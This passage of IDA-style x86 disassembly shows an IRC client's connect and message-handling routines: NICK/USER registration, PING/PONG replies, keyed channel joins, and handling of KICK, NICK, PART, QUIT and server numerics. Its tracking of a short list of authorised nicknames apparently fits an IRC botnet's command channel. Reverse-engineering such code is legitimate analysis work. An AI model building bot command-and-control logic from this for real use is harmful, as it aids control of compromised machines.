		push	eax
		call	sub_40A4F6
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B740
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401BF8
		push	[ebp+arg_0]
		call	dword_4E0934
		push	1388h
		call	dword_4F1334	; Sleep


loc_401BF1:				; CODE XREF: sub_401B49+D9j
					; sub_401B49+153j
		xor	eax, eax


loc_401BF3:				; CODE XREF: sub_401B49+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401BF8:				; CODE XREF: sub_401B49+92j
					; sub_401B49+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08B8
		test	eax, eax
		jle	short loc_401BF1
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_415CFF
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401BF8
		lea	edi, [ebp+var_A90]


loc_401C49:				; CODE XREF: sub_401B49+165j
		push	1
		pop	esi


loc_401C4C:				; CODE XREF: sub_401B49+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401CC1
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401C8F
		push	7D0h
		call	dword_4F1334	; Sleep
		jmp	short loc_401C4C
; ---------------------------------------------------------------------------


loc_401C8F:				; CODE XREF: sub_401B49+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401CB9
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401CB5
		cmp	esi, 0FFFFFFFFh
		jz	loc_401BF1
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401C49
		jmp	loc_401BF8
; ---------------------------------------------------------------------------


loc_401CB5:				; CODE XREF: sub_401B49+14Ej
		push	1
		jmp	short loc_401CBB
; ---------------------------------------------------------------------------


loc_401CB9:				; CODE XREF: sub_401B49+149j
		push	2


loc_401CBB:				; CODE XREF: sub_401B49+16Ej
		pop	eax
		jmp	loc_401BF3
sub_401B49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401CC1	proc near		; CODE XREF: sub_401B49+12Ap

var_4AE8	= byte ptr -4AE8h
var_46E8	= byte ptr -46E8h
var_4558	= byte ptr -4558h
var_4454	= byte ptr -4454h
var_4350	= byte ptr -4350h
var_4250	= byte ptr -4250h
var_4150	= byte ptr -4150h
var_4050	= byte ptr -4050h
var_3F4C	= byte ptr -3F4Ch
var_3E4C	= byte ptr -3E4Ch
var_3C4C	= byte ptr -3C4Ch
var_3B4C	= byte ptr -3B4Ch
var_3A4C	= byte ptr -3A4Ch
var_39E8	= byte ptr -39E8h
var_37E8	= byte ptr -37E8h
var_36E8	= byte ptr -36E8h
var_35E8	= byte ptr -35E8h
var_34E8	= byte ptr -34E8h
var_33E8	= dword	ptr -33E8h
var_33E4	= dword	ptr -33E4h
var_33E0	= byte ptr -33E0h
var_3360	= byte ptr -3360h
var_32E0	= byte ptr -32E0h
var_3260	= byte ptr -3260h
var_31E0	= byte ptr -31E0h
var_3160	= dword	ptr -3160h
var_315C	= dword	ptr -315Ch
var_3158	= dword	ptr -3158h
var_3154	= dword	ptr -3154h
var_3150	= byte ptr -3150h
var_2EC9	= byte ptr -2EC9h
var_2EC8	= byte ptr -2EC8h
var_2DC4	= dword	ptr -2DC4h
var_2DBC	= dword	ptr -2DBCh
var_2DB8	= dword	ptr -2DB8h
var_2DB4	= dword	ptr -2DB4h
var_2DB0	= dword	ptr -2DB0h
var_2DA8	= dword	ptr -2DA8h
var_2DA4	= dword	ptr -2DA4h
var_2DA0	= byte ptr -2DA0h
var_2D20	= byte ptr -2D20h
var_2CA0	= byte ptr -2CA0h
var_2C20	= byte ptr -2C20h
var_2BA0	= dword	ptr -2BA0h
var_2B9C	= dword	ptr -2B9Ch
var_2B98	= dword	ptr -2B98h
var_2B94	= dword	ptr -2B94h
var_2B90	= dword	ptr -2B90h
var_2B8C	= byte ptr -2B8Ch
var_2B0C	= byte ptr -2B0Ch
var_2A8C	= byte ptr -2A8Ch
var_2A0C	= byte ptr -2A0Ch
var_298C	= dword	ptr -298Ch
var_2988	= dword	ptr -2988h
var_2984	= dword	ptr -2984h
var_2980	= dword	ptr -2980h
var_297C	= dword	ptr -297Ch
var_2978	= byte ptr -2978h
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_27F8	= byte ptr -27F8h
var_2778	= dword	ptr -2778h
var_2774	= dword	ptr -2774h
var_2770	= dword	ptr -2770h
var_276C	= dword	ptr -276Ch
var_2768	= dword	ptr -2768h
var_2764	= byte ptr -2764h
var_26E4	= byte ptr -26E4h
var_2664	= byte ptr -2664h
var_25E4	= byte ptr -25E4h
var_2564	= dword	ptr -2564h
var_2560	= dword	ptr -2560h
var_255C	= dword	ptr -255Ch
var_2558	= dword	ptr -2558h
var_2554	= dword	ptr -2554h
var_2550	= byte ptr -2550h
var_244C	= byte ptr -244Ch
var_2348	= dword	ptr -2348h
var_2344	= dword	ptr -2344h
var_2340	= dword	ptr -2340h
var_233C	= byte ptr -233Ch
var_22BC	= dword	ptr -22BCh
var_22B8	= dword	ptr -22B8h
var_22B4	= dword	ptr -22B4h
var_22B0	= byte ptr -22B0h
var_21AC	= dword	ptr -21ACh
var_21A8	= byte ptr -21A8h
var_2128	= byte ptr -2128h
var_2028	= byte ptr -2028h
var_1F28	= dword	ptr -1F28h
var_1F24	= dword	ptr -1F24h
var_1F20	= dword	ptr -1F20h
var_1F1C	= dword	ptr -1F1Ch
var_1F18	= dword	ptr -1F18h
var_1F14	= dword	ptr -1F14h
var_1F10	= dword	ptr -1F10h
var_1F0C	= dword	ptr -1F0Ch
var_1F08	= dword	ptr -1F08h
var_1F04	= dword	ptr -1F04h
var_1F00	= byte ptr -1F00h
var_1E80	= byte ptr -1E80h
var_1D80	= byte ptr -1D80h
var_1C80	= dword	ptr -1C80h
var_1C7C	= dword	ptr -1C7Ch
var_1C78	= dword	ptr -1C78h
var_1C74	= dword	ptr -1C74h
var_1C70	= dword	ptr -1C70h
var_1C6C	= dword	ptr -1C6Ch
var_1C68	= dword	ptr -1C68h
var_1C64	= dword	ptr -1C64h
var_1C60	= dword	ptr -1C60h
var_1C5C	= dword	ptr -1C5Ch
var_1C58	= byte ptr -1C58h
var_1BD8	= byte ptr -1BD8h
var_1B58	= byte ptr -1B58h
var_1AD8	= dword	ptr -1AD8h
var_1AD4	= dword	ptr -1AD4h
var_1AD0	= dword	ptr -1AD0h
var_1ACC	= dword	ptr -1ACCh
var_1AC8	= dword	ptr -1AC8h
var_1AC4	= byte ptr -1AC4h
var_1A44	= byte ptr -1A44h
var_19C4	= byte ptr -19C4h
var_1944	= dword	ptr -1944h
var_1940	= dword	ptr -1940h
var_193C	= dword	ptr -193Ch
var_1938	= dword	ptr -1938h
var_1934	= dword	ptr -1934h
var_1930	= byte ptr -1930h
var_1830	= byte ptr -1830h
var_17B0	= dword	ptr -17B0h
var_17A8	= dword	ptr -17A8h
var_17A4	= dword	ptr -17A4h
var_17A0	= dword	ptr -17A0h
var_179C	= dword	ptr -179Ch
var_1798	= dword	ptr -1798h
var_1794	= dword	ptr -1794h
var_1790	= byte ptr -1790h
var_1710	= byte ptr -1710h
var_16D0	= byte ptr -16D0h
var_15D0	= dword	ptr -15D0h
var_15CC	= dword	ptr -15CCh
var_15C0	= dword	ptr -15C0h
var_15BC	= dword	ptr -15BCh
var_15B8	= dword	ptr -15B8h
var_15B4	= byte ptr -15B4h
var_157C	= byte ptr -157Ch
var_1560	= byte ptr -1560h
var_1528	= byte ptr -1528h
var_1524	= byte ptr -1524h
var_14A4	= byte ptr -14A4h
var_1464	= byte ptr -1464h
var_13D4	= dword	ptr -13D4h
var_13D0	= dword	ptr -13D0h
var_13CC	= dword	ptr -13CCh
var_13C8	= dword	ptr -13C8h
var_13C4	= dword	ptr -13C4h
var_13C0	= byte ptr -13C0h
var_1340	= byte ptr -1340h
var_12C0	= dword	ptr -12C0h
var_12BC	= dword	ptr -12BCh
var_12B8	= dword	ptr -12B8h
var_12B4	= dword	ptr -12B4h
var_12B0	= byte ptr -12B0h
var_12A0	= byte ptr -12A0h
var_1220	= byte ptr -1220h
var_11A0	= dword	ptr -11A0h
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= byte ptr -1180h
var_1100	= byte ptr -1100h
var_1080	= byte ptr -1080h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE4		= dword	ptr -0FE4h
var_FDC		= byte ptr -0FDCh
var_F5C		= byte ptr -0F5Ch
var_EDC		= dword	ptr -0EDCh
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EBC		= dword	ptr -0EBCh
var_EB8		= byte ptr -0EB8h
var_E38		= byte ptr -0E38h
var_DB8		= dword	ptr -0DB8h
var_DB4		= dword	ptr -0DB4h
var_DB0		= dword	ptr -0DB0h
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= dword	ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= dword	ptr -0D98h
var_D94		= byte ptr -0D94h
var_D14		= dword	ptr -0D14h
var_D10		= dword	ptr -0D10h
var_D0C		= dword	ptr -0D0Ch
var_D08		= dword	ptr -0D08h
var_D04		= byte ptr -0D04h
var_C84		= byte ptr -0C84h
var_C74		= byte ptr -0C74h
var_C54		= dword	ptr -0C54h
var_C50		= byte ptr -0C50h
var_BD0		= byte ptr -0BD0h
var_B50		= dword	ptr -0B50h
var_B4C		= dword	ptr -0B4Ch
var_B48		= dword	ptr -0B48h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 4AE8h
		call	sub_41BC60
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		mov	[ebp+var_A4], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C4], ebx
		call	sub_41B190
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B1F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40207C
		push	esi
		lea	eax, [ebp+var_39E8]
		push	ebx
		push	eax
		call	sub_41B190
		dec	esi
		lea	eax, [ebp+var_39E8]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_39E8]
		push	offset asc_441584 ; " :"
		push	eax
		call	sub_41B890
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_39E8]
		push	esi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_3E4C]
		push	offset asc_441588 ; " "
		push	eax
		call	sub_41C550
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	esi, [ebp+var_8C]
		push	1Fh
		pop	edi


loc_401D8C:				; CODE XREF: sub_401CC1+DEj
		push	offset asc_44158C ; " "
		push	ebx
		call	sub_41C550
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_401D8C
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_40207C
		cmp	[ebp+var_8C], ebx
		jz	loc_40207C
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401DD9:				; CODE XREF: sub_401CC1+14Aj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401E05
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401E0D
		cmp	[eax+2], bl
		jnz	short loc_401E0D
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401E05:				; CODE XREF: sub_401CC1+11Cj
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401DD9


loc_401E0D:				; CODE XREF: sub_401CC1+121j
					; sub_401CC1+126j
		cmp	[ebp+var_8ED], bl
		jz	short loc_401E18
		mov	[ebp+var_8], edi


loc_401E18:				; CODE XREF: sub_401CC1+152j
		cmp	[ebp+var_8F2], bl
		jz	short loc_401E26
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401E26:				; CODE XREF: sub_401CC1+15Dj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401E60
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_41B1F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_C0]
		push	offset asc_441590 ; "!"
		push	eax
		call	sub_41C550
		add	esp, 20h


loc_401E60:				; CODE XREF: sub_401CC1+168j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EB1
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401F55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		add	esp, 10h
		jmp	loc_401F55
; ---------------------------------------------------------------------------


loc_401EB1:				; CODE XREF: sub_401CC1+1AEj
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E2D
		push	esi
		push	offset a005	; "005"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E2D
		push	esi
		push	offset a302	; "302"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F1C
		push	offset a@_5	; "@"
		push	[ebp+var_84]
		call	sub_41B890
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401F55
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B1F0
		add	esp, 0Ch
		jmp	short loc_401F55
; ---------------------------------------------------------------------------


loc_401F1C:				; CODE XREF: sub_401CC1+22Fj
		push	esi
		push	offset a433_0	; "433"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5C
		push	ebx
		push	dword_43A0A0
		push	dword_43A09C
		push	[ebp+arg_10]
		call	sub_40A4F6
		push	[ebp+arg_10]
		push	offset aNickS_9	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		add	esp, 1Ch


loc_401F55:				; CODE XREF: sub_401CC1+1CFj
					; sub_401CC1+1EBj ...
		mov	eax, edi
		jmp	loc_40207F
; ---------------------------------------------------------------------------


loc_401F5C:				; CODE XREF: sub_401CC1+26Aj
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_2C8], 3
		mov	edi, 80h


loc_401F6E:				; CODE XREF: sub_401CC1+2D2j
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F8B
		mov	[ebp+var_A8], 1


loc_401F8B:				; CODE XREF: sub_401CC1+2BEj
		add	esi, edi
		dec	[ebp+var_2C8]
		jnz	short loc_401F6E
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402084
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401FBA:				; CODE XREF: sub_401CC1+386j
		cmp	[esi], bl
		jz	loc_402042
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_C0]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_402042
		cmp	[ebp+var_84], ebx
		jz	short loc_402042
		push	[ebp+var_84]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402042
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_441610
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		add	esp, 20h


loc_402042:				; CODE XREF: sub_401CC1+2FBj
					; sub_401CC1+31Bj ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401FBA
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40207C
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_402071:				; CODE XREF: sub_401CC1+607j
					; sub_401CC1+837j ...
		push	[ebp+arg_4]
		call	sub_408E73


loc_402079:				; CODE XREF: sub_401CC1+2070j
					; sub_401CC1+208Dj ...
		add	esp, 10h


loc_40207C:				; CODE XREF: sub_401CC1+5Bj
					; sub_401CC1+E8j ...
		push	1


loc_40207E:				; CODE XREF: sub_401CC1+25D4j
		pop	eax


loc_40207F:				; CODE XREF: sub_401CC1+296j
					; sub_401CC1+25F6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_402084:				; CODE XREF: sub_401CC1+2E9j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4021DA
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_4020AD:				; CODE XREF: sub_401CC1+43Ej
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4020FA
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_41C400
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_4020FA
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C300
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C310
		add	esp, 10h
		mov	edi, 80h


loc_4020FA:				; CODE XREF: sub_401CC1+3FDj
					; sub_401CC1+414j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_4020AD
		lea	eax, [ebp+var_C0]
		test	eax, eax
		jz	loc_40207C
		cmp	[ebp+arg_24], ebx
		jz	loc_40207C
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]


loc_402121:				; DATA XREF: .nsp0:off_440568o
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402142
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B1F0


loc_40213A:				; CODE XREF: sub_401CC1+184Cj
		add	esp, 0Ch
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_402142:				; CODE XREF: sub_401CC1+46Aj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402147:				; CODE XREF: sub_401CC1+4A7j
		cmp	[edi], bl
		jz	short loc_40215E
		lea	eax, [ebp+var_D04]
		push	eax
		push	edi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40216F


loc_40215E:				; CODE XREF: sub_401CC1+488j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402147
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_40216F:				; CODE XREF: sub_401CC1+49Bj
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_41C400
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40207C
		push	eax
		call	sub_418D00
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_418D00
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40207C
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_3A4C]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 24h
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4021DA:				; CODE XREF: sub_401CC1+3D2j
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4021FC
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402229


loc_4021FC:				; CODE XREF: sub_401CC1+528j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402201:				; CODE XREF: sub_401CC1+560j
		cmp	[edi], bl
		jz	short loc_402217
		push	[ebp+var_90]
		push	edi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40226C


loc_402217:				; CODE XREF: sub_401CC1+542j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402201
		mov	esi, [ebp+var_8C]


loc_402229:				; CODE XREF: sub_401CC1+539j
		push	esi
		push	offset a353	; "353"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4022CD
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402258
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402258:				; CODE XREF: sub_401CC1+58Cj
		push	[ebp+var_80]
		push	offset unk_4416B0


loc_402260:				; CODE XREF: sub_401CC1+2406j
					; sub_401CC1+27A7j ...
		call	sub_4145FE
		pop	ecx


loc_402266:				; CODE XREF: sub_401CC1+6DF3j
		pop	ecx
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_40226C:				; CODE XREF: sub_401CC1+554j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_441670
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		push	[ebp+var_8C]
		push	offset aPart_0	; "PART"
		call	sub_41C4C0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40207C
		lea	eax, [ebp+var_2C0]
		push	eax
